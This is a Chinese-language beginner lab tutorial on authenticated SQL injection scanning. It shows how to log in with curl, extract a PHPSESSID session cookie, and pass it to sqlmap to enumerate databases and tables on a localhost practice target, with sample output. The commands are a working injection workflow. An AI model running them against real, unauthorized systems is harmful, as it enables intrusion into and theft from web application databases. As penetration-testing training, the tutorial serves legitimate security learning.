使用 sqlmap Cookie 管理已认证扫描

Kali LinuxBeginner
立即练习

引言

在 Web 应用渗透测试中,许多漏洞存在于需要用户认证的区域。像 sqlmap 这样的工具,一个强大的开源渗透测试工具,可以自动化检测和利用 SQL 注入漏洞的过程,需要一种方式来访问这些受保护的部分。本实验将指导你完成使用会话 Cookie (session cookies) 进行身份验证扫描的过程。你将学习如何从浏览器中提取会话 Cookie,然后使用它们来指示 sqlmap 在扫描时维持一个已认证的会话。这项技术对于全面评估现代 Web 应用的安全性至关重要。

登录目标 Web 应用

在此步骤中,你将模拟登录目标 Web 应用。在本实验中,我们将假设有一个本地运行的 Web 应用需要身份验证。你将使用 curl 来模拟登录请求并获取会话 Cookie。在实际场景中,你通常会通过 Web 浏览器登录。

首先,让我们模拟成功登录一个假设的应用。我们将使用 curl 发送一个带有模拟凭据的 POST 请求。如果登录成功,服务器的响应将包含一个 Set-Cookie 头部。

curl -c cookiejar.txt -X POST -d "username=admin&password=password" http://localhost:8080/login

-c cookiejar.txt 选项告诉 curl 将任何收到的 Cookie 写入名为 cookiejar.txt 的文件。执行此命令后,一个名为 cookiejar.txt 的文件应该会在你当前目录 (~/project) 中创建。

现在,让我们查看 cookiejar.txt 文件的内容,以查看会话 Cookie。

cat cookiejar.txt

你应该会看到类似以下的输出,其中包含会话 Cookie 信息:

## Netscape HTTP Cookie File
## http://curl.haxx.se/docs/cookiejar.html
## This file was generated by curl! Edit at your own risk.

localhost	FALSE	/	FALSE	0	PHPSESSID	a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6

这里重要的部分是 PHPSESSID 的值(例如 a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6)。这就是你的会话 Cookie。

在此步骤中,你将学习如何手动提取会话 Cookie 字符串。虽然 curl 在上一步中已将其自动保存到 cookiejar.txt,但在实际场景中,你可能通过 Web 浏览器登录,因此了解如何手动提取它至关重要。

cookiejar.txt 文件中,你需要识别实际的 Cookie 字符串。在我们的示例中,它是 PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6

你可以使用 grepawk 命令从 cookiejar.txt 文件中仅提取 Cookie 值。

grep "PHPSESSID" cookiejar.txt | awk '{print $6"="$7}'

此命令将仅输出 Cookie 字符串,例如:

PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6

这就是你将使用 --cookie 标志提供给 sqlmap 的字符串。复制此字符串,因为你将在下一步中使用它。

现在你已经提取了会话 Cookie,你可以将其与 sqlmap 一起使用来执行已认证的扫描。sqlmap 中的 --cookie 标志允许你指定 HTTP Cookie 头部的值。

在本实验中,我们将假设一个易受攻击的页面存在于 http://localhost:8080/authenticated_page.php?id=1。此页面需要 PHPSESSID Cookie 存在才能访问。

YOUR_COOKIE_STRING 替换为你上一步提取的实际 Cookie 字符串(例如 PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6)。

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" --batch --forms --level=1 --risk=1

让我们分解一下 sqlmap 命令:

  • -u "http://localhost:8080/authenticated_page.php?id=1": 指定目标 URL。
  • --cookie="YOUR_COOKIE_STRING": 向 sqlmap 提供会话 Cookie。这是已认证扫描的关键部分。
  • --batch: 以非交互模式运行 sqlmap,接受默认选项。
  • --forms: 告诉 sqlmap 解析并测试目标 URL 上的表单。
  • --level=1 --risk=1: 设置检测级别和风险。对于快速测试,级别 1 和风险 1 就足够了。

执行命令。sqlmap 将开始扫描指定的 URL,使用提供的 Cookie 来维护已认证的会话。

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)
[!] legal disclaimer: sqlmap is provided 'as is', without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. in no event shall the authors or copyright holders be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with the software or the use or other dealings in the software.

[!] you are running an outdated version of sqlmap. The '1.6.12#stable' is the latest stable version
[!] to disable this notification set 'allow_update_check' option to 'False' in your sqlmap configuration file (sqlmap.conf)

[00:00:00] [INFO] starting @00:00:00

... (sqlmap output will vary based on target and findings) ...

[00:00:XX] [INFO] fetched data: 'id=1'
[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] closing @00:00:XX

输出将显示 sqlmap 的进度和任何发现。如果扫描在与身份验证相关的错误中顺利进行,则表明 sqlmap 成功使用了 Cookie。

对需要身份验证的页面执行扫描

在此步骤中,我们将优化我们的 sqlmap 命令,以专门针对一个已知需要身份验证且可能存在漏洞的页面。我们将使用更详细的输出以观察 sqlmap 的行为。

假设 authenticated_page.php 确实通过 id 参数容易受到 SQL 注入的攻击。我们将使用 --dbs 标志来尝试枚举数据库,这是 SQL 注入利用中的一个常见首要步骤。

同样,将 YOUR_COOKIE_STRING 替换为你实际的会话 Cookie。

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" --dbs --batch --forms --level=1 --risk=1

--dbs 标志尝试枚举数据库名称。如果 sqlmap 成功使用 Cookie,它应该能够访问页面并继续进行数据库枚举。

观察输出。如果 sqlmap 报告找到数据库(例如 information_schemamysqltestdb),则表明已认证的扫描成功。如果它报告“未找到可注入参数”或“页面不可访问”,则可能表示 Cookie 或目标 URL 存在问题。

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)

... (initial checks) ...

[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] fetching database names
[00:00:XX] [INFO] retrieved database names: ['information_schema', 'mysql', 'performance_schema', 'sys', 'testdb']
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] testdb

[00:00:XX] [INFO] closing @00:00:XX

输出中存在数据库名称证实了 sqlmap 能够访问已认证的页面并执行注入测试。

确认扫描以已认证用户身份运行

在最后一步中,我们将通过观察 sqlmap 的行为和潜在发现来确认它确实是以已认证用户身份运行的。一个关键指标是 sqlmap 是否能够访问和测试仅在登录后才能看到的页面的参数。

如果在上一步中 sqlmap 成功枚举了数据库,这是一个有力的确认。为了进一步巩固这一点,你可以尝试从一个已发现的数据库中转储数据,例如 testdb

YOUR_COOKIE_STRING 替换为你实际的会话 Cookie。

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" -D testdb --tables --batch --forms --level=1 --risk=1

这里,-D testdb 指定了要针对的数据库,--tables 尝试枚举该数据库中的表。如果 sqlmap 能够列出 testdb 中的表,则明确证明它是在已认证的上下文中运行的。

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)

... (initial checks) ...

[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] fetching tables for database 'testdb'
[00:00:XX] [INFO] retrieved table names for database 'testdb': ['users', 'products']
Database: testdb
[2 tables]
+----------+
| products |
| users    |
+----------+

[00:00:XX] [INFO] closing @00:00:XX

显示 testdb 数据库下表名称(例如 usersproducts)的输出,证实了 sqlmap 成功维护了已认证的会话,并能够在应用程序的受保护区域内执行更深入的枚举。这证明了使用 Cookie 进行已认证扫描的有效性。

总结

在本实验中,你已成功学会如何通过利用会话 Cookie,使用 sqlmap 执行已认证扫描。你首先模拟登录一个 Web 应用并提取会话 Cookie。然后,你在 sqlmap 中使用 --cookie 标志提供此 Cookie,使工具能够访问和扫描需要身份验证的页面。最后,你通过观察 sqlmap 在应用程序受保护区域内枚举数据库和表的能力,确认了已认证扫描的成功。这项技能对于对现代 Web 应用进行全面的安全评估至关重要,因为许多功能都位于登录之后。